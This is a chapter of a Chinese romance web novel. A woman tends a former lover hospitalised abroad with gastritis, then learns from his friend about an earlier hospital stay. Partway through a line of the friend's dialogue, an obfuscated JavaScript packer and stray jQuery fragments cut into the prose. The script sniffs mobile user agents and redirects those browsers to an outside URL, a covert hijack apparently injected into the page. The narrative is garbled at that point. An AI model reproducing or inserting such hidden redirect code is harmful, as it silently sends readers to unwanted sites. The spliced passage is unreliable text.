这家中餐厅比姜好预想的还要火爆，门口排起蜿蜒的长队，竟还有黄牛在兜售号码。
她无心久候，索性高价买下一个靠前的位子，很快便被叫号入内。她点好几道菜品打包，给程泛声点了一碗白粥及海鲜粥。
李南恩见她提着好几个保温袋回来：“买太多了吧？”
“噢，我把晚饭的份也买回来了。晚上热一下就好，就不用跑一趟了。”
程泛声看着依然虚弱，需要人留着看护的。
李南恩为难地看了一眼病床上的人，又转向姜好：“我晚饭不在这里吃。我待会儿得去接女友下班，她不会开车。”
“下午辛苦你陪护一下，好么？”
姜好看向病床上的程泛声。他又躺下睡了，她只看见他深陷在枕头里的侧影，连轮廓都透着一股被病气浸透的疲倦。大病一场，反倒像是给了他一个不得不停下，好好休息的理由。
姜好说：“好吧。”
面对病人，她难以拒绝。
李南恩将程泛声叫醒，白粥和海鲜粥他各吃了一些，还吃了几筷子白灼小菜。
李南恩有些欣慰：“看着还蛮有胃口的。”
“很久没吃海鲜粥了，怀念。”程泛声哑着嗓子说，嗓音含含糊糊的，像快要熬干的粥。
“什么？”李南恩没听清。
程泛声不说话了，一旁田螺姑娘姜好低下头，安静地动筷子。
姜好不会做饭，从小到大，家里一直是姜书昀掌勺，从不舍得让妻女动手。
上大学后，她吃食堂居多，偶尔，程泛声会在他的小公寓里洗手作羹汤。
他的厨艺很好，她总爱在他做饭时趴在他肩上，比树袋熊更黏人。
她问他，你什么时候学会做饭的。
如果在切凉薯一类可以生吃的东西，程泛声会捻一块塞进她嘴里：“天生就会。”
后来程泛声确诊胃炎，姜好便开始偷偷学着他的模样做饭。
记忆里，有一次她发高烧，姜书昀请假从学校回家，用小锅给她熬了一碗白粥。
她从来没有吃过素白粥，可那天却觉得出奇地好吃，黏稠、温润，带着米粒本身纯粹的清甜。
于是，某天程泛声说他嗓子不舒服时，姜好立刻想起记忆里的那碗白粥。
还有比这更好的食物吗？
她立刻找到锅，放米，倒上水——半小时的熬煮后，她煮出来一碗白米饭。
干巴巴的，根本无法下咽。
姜好立刻羞愧地将失败品扔掉，锅刷得干干净净，坚决不能让程泛声发现，自己竟然干了这么窘的事情。
但是第二天就被抓了现行。
程泛声指着锅底一圈黑糊糊的焦痕：“你昨天进厨房了？”
沙发上的姜好心虚地将书举高，脑袋藏起来：“没、没有啊……”
程泛声并未深究，只是说：“想学做饭我教你，不要一个人瞎琢磨，烫到了怎么办。”
后来，姜好跟着网上的教程一步步熬出一碗甜甜的白粥，送过去时，程泛声竟以为她是在店里买的，这给了姜好极大的自信心。
她不会切菜、炒菜，那就琢磨最简单的粥好了。绿豆粥、皮蛋瘦肉粥、紫菜虾米粥、南瓜粥……
她做的最多的，还是海鲜粥。
因为程泛声喜欢。
午饭后，李南恩就被叫走，他需去公司处理一些急事。
“好好，辛苦你在这里照顾了。”他语带歉意。
姜好点点头：“好。”
她帮程泛声取过电脑，看着他靠在床头开始处理工作。屏幕的冷光映在他苍白的脸上更显苍白。
姜好在一旁看着，渐渐有些无所事事，困意悄然袭来，便躺到一旁的陪护床上睡着了。
原本只想浅眠，但再度醒来时，一摸手机，已经四点多。
她是被程泛声走动的声音吵醒的。
他还在输液，一手高高举着输液架，缓慢走向角落里的洗手间。
意识到自己作为陪护的失责，姜好连忙起来：“我来帮你。”她从他手里抢过输液架，走了两步，又悻悻然还给他。
——她可没办法陪他进洗手间。
在外等候时姜好才想起来，应当请一个陪护，这样就不用辛苦李南恩跑来照顾了。
门打开，姜好又扶着程泛声回到床上。
姜好提议：“我去给你请个陪护吧？”
程泛声淡淡道：“你回酒店吧，我一个人可以。”
姜好顿觉心虚，好似自己要偷懒似的，不好再说了。
程泛声继续处理工作，姜好低头玩手机。
信号不好，安知序午间发的消息，这会儿她才收到。
【安知序：买到了吗？】
【安知序：你还在医院？】
【姜好：买到了，味道还不错】
【姜好：嗯，我还在医院，帮忙陪护一下】
安知序秒回：【你在陪护？】
【姜好：你怎么还没睡？】
【姜好：李南恩有事离开了，我在这里帮忙照顾一下】
【姜好：也没干什么，刚刚睡了一觉】
【安知序：不要太累了】
敲门声后，主治医生带着护士进入病房。医生是位四十岁上下的英国人，带着温和而略显疲惫的笑容。
“Mr.Cheng,howareyoufeelingthisafternoon?Anyrecurrenceofthepain?（今天下午感觉怎么样？病痛有复发吗？）”
程泛声合上电脑，微微颔首：“Abitbetterthanthismorning.（比早上好一些）”
医生按了按他的腹部：“这里还有压痛吗？”
“有一点。”
“嗯，炎症消退需要时间。”医生直起身，目光很自然地转向床尾的姜好，语气熟稔地对她说道，“你是家属吧？要盯着他按时吃药。”
Familymember.
姜好一怔，脸颊微热。
中文语境里普通而常见的词语，用英文读出来却变得暧昧起来……这是为什么？
医生并未察觉她的异样，继续对她细细麻麻的叮嘱，仿佛她就是唯一的责任人：“他这次发作比较急，虽然现在控制住了，但根源还是在于长期损耗。出院后，饮食必须规律，绝对不能饥一顿饱一顿，工作强度也得降下来，身体发出警告信号了，要重视。”
“……好的，我明白。”姜好低声应答。
“你是他最亲近的人，你的监督比我们医生说话管用。”医生最后半开玩笑地补充了一句，这才带着护士离开了病房。
片刻寂静后，姜好的目光转向病床上的人：“听见没有，医生说了，必须规律吃饭。”
在医院，虚弱的病人地位超然，唯独在挨训时，不得不矮人一截。程泛声偏偏嘴硬：“理论是理论，实践是实践。”
“乱说！你这套理论与实践无关的结论，不本来就是一套理论么！”
程泛声沉默了片刻，没有反驳，只是抬眼看向她，声音因虚弱而比平日低沉柔软许多：“好好。”
“嗯？”
“粥，帮我热下吧。”
人病下来，连命令都不像命令了，更像是一种带着依赖的请求。
姜好端着温热的粥返回床边，程泛声伸手要来接，姜好盯着他伸来的手犹疑一下，将粥放在桌上，程泛声的手与她错开，将粥端起。
他并未在意：“谢谢好好。”
他安静地喝着粥，姜好也热了饭在一旁吃，时不时抬头看他两眼。他吃得比中午更慢，但吃得更多，一顿饭后，姜好都觉得他气色好了不少。
见他吃完，姜好起身去收拾垃圾，程泛声用手挡住她：“我自己来。”
“哦……”姜好只好讪讪退到一边。
晚饭后不久，李南恩就回来了。
他从家里带了些洗漱用品，看来今晚他打算就在那张陪护床上度过。
“你回去吧，好好，辛苦了。”他放下东西，将椅子上的包递给姜好。
“好。”姜好应道，拿起自己的东西，转身离开病房。
病房里瞬间冷下来，不仅仅因为姜好的离开。
程泛声冷冷地盯着他。
李南恩一头雾水：“怎么了？”
“你不去送她？”程泛声哑着嗓子说。
“哦，对！”李南恩反应过来，放下手中的东西，快步追了出去。
“好好！”他在电梯口追上她，“我送你上车吧。”
姜好按住电梯开门键，摇摇头：“没关系的，你回去吧，司机马上就到。”
李南恩侧身挤进电梯，坚持：“我送你上车。晚上人杂，不安全。”
两人站在医院门口的路边等候，夜色微凉，姜好双手环抱住单薄的身体。
起初无言，后来话题自然而然聊到他们共同认识的人，程泛声。
“其实这些年，他已经非常注意健康问题了，甚至有一位助理专门负责他的饮食。只不过来国外，他不会带上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076218|191701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，没想到一次疏忽就中了招。”
他轻轻叹了口气，像是无意间说漏了嘴，“上一回闹到医院，都是四年前的事情了。”
“上一回？”
“嗯。那段时间他经常昼夜颠倒，好几次我早上去实验室，发现他还没离开。有时在沙发上凑合一晚，有时干脆通宵。作息完全乱了，吃饭怎么可能规律呢。”
四年前。
姜好心中喃喃。
“那个时候，你们在……”喉咙发紧，连说话也磕绊，“在忙什么项目？”
“挺多设计和项目的，没有专攻哪一个。”李南恩语气轻松，“最初也想集中精力做个精品出来，可惜……为别人做了嫁衣。我们没时间，也没资源和金钱，只能广撒网，祈祷哪个项目能获得投资人的青睐。”
“那段时间很辛苦，同时推进好几个项目，连轴转，很少有休息时间。更别提泛声了，他凡事都习惯亲力亲为，即便不是他负责的项目，也会来实验室跟进。所以……就是这样才闹到医院。”
夜风似乎在这一刻变得更凉。
一股迟来的歉意漫上姜好心头，她低下头，声音轻得几乎要散在风里：
“很抱歉。”
“罢了……”李南恩说，“都过去了。你呢？那段时间还好吗？在美国吗？忙什么呢？如果你不想告诉泛声，说给我听也可以。我帮你保密。”
姜好摇摇头，李南恩侧头看她刻意回避的侧脸，温柔一笑，没有追问。
“那次住院，严重吗？他……住了几天？”
“上次啊……好像六天多，一周左右。比这次严重些，毕竟是初次住院，对病情不够了解，熬到熬不住了才会就医。”李南恩感慨地说，“他们这种人，难十全十美，工作和身体，永远只顾得了一个。”
李南恩的话像一块巨石，沉甸甸地砸向姜好的心口。
一块，又一块。
压得她喘不过气来。
李南恩继续回忆：“那天我们大家都在，逼着他吃了点东西，下午继续工作，他忽然说不太舒服，去了趟洗手间，回来跟我们说，他呕血了。”
“当时他脸白得吓人，蒋桡与吓得跳起来，陪着他去医院，过一会给我打电话，让我给他收拾点换洗衣服，得住院。”
“我赶到医院，泛声父母也来了，不知道他们从哪里知道的消息，泛声肯定不会主动跟他们说的。他们特别生气，对啊，怎么可能不生气，医者医者，怎么把自己医进了医院呢？”
姜好了解程泛声的父母，大概知晓那天是怎样的鸡飞狗跳了。
“他父母本来就不喜欢泛声弄这些，看到他住院，更是大发雷霆，让他立刻回去继承家业，别瞎忙活这些了，”说到“继承家业”这个词时，李南恩禁不住笑了，那会儿大家都喜欢这样调侃程泛声这位含着金汤匙出生的真少爷，“他爸妈甚至妥协说，他要是喜欢琢磨这些，以后公司开个支线项目给他玩玩也行。”
“泛声当时就冷下脸，说：想关心我就好好关心，想指责我就出去。嗯……然后，我和蒋桡与缩在角落里大气不敢出。”
姜好完全想象出那个画面，笑了笑：“现在呢？他和他爸妈关系还好吗？”
“比之前好……其实我自己也一样，过了二十五岁，很难再像年轻时那样朝他们大发脾气，也慢慢懂得他们的无奈，”李南恩带着一种成年后回望的感慨，“但，程泛声和他的父母，只能是血缘关系，不可能有再深的联系了。”
血缘关系。
姜好在心中无声地重复这个词。
用得太微妙，又如此精准。
仅仅是千丝万缕的血缘将他们联结在一起。
除此以外，再无更深感情。
车来了。姜好和李南恩告别，经过方才那番谈话，谁也提不起真正的笑意，都只微微牵动嘴角：“晚安。”
回到酒店，姜好便觉得累极。
明明今天大半时间都在病房发呆，可只要待在程泛声身边，她就像绷紧的弦，始终处于高压状态。
她从包的夹层摸出房卡，进入电梯。
身后路过的侍应生叫住她：“小姐，您东西掉了。”他弯腰从地毯上捡起卡片，在围裙上简单擦拭后递给她。
她回过头，下意识想说那不是她的东西，话未出口却哽在喉间。她伸手接过：“多谢。”
电梯里，她盯着借阅证良久，手指轻轻摩挲卡面。
时光经过，褪去鲜亮的色彩，但卡面依然保留着主人珍视的证据，没有划痕，没有磨损，有且仅有岁月的印记。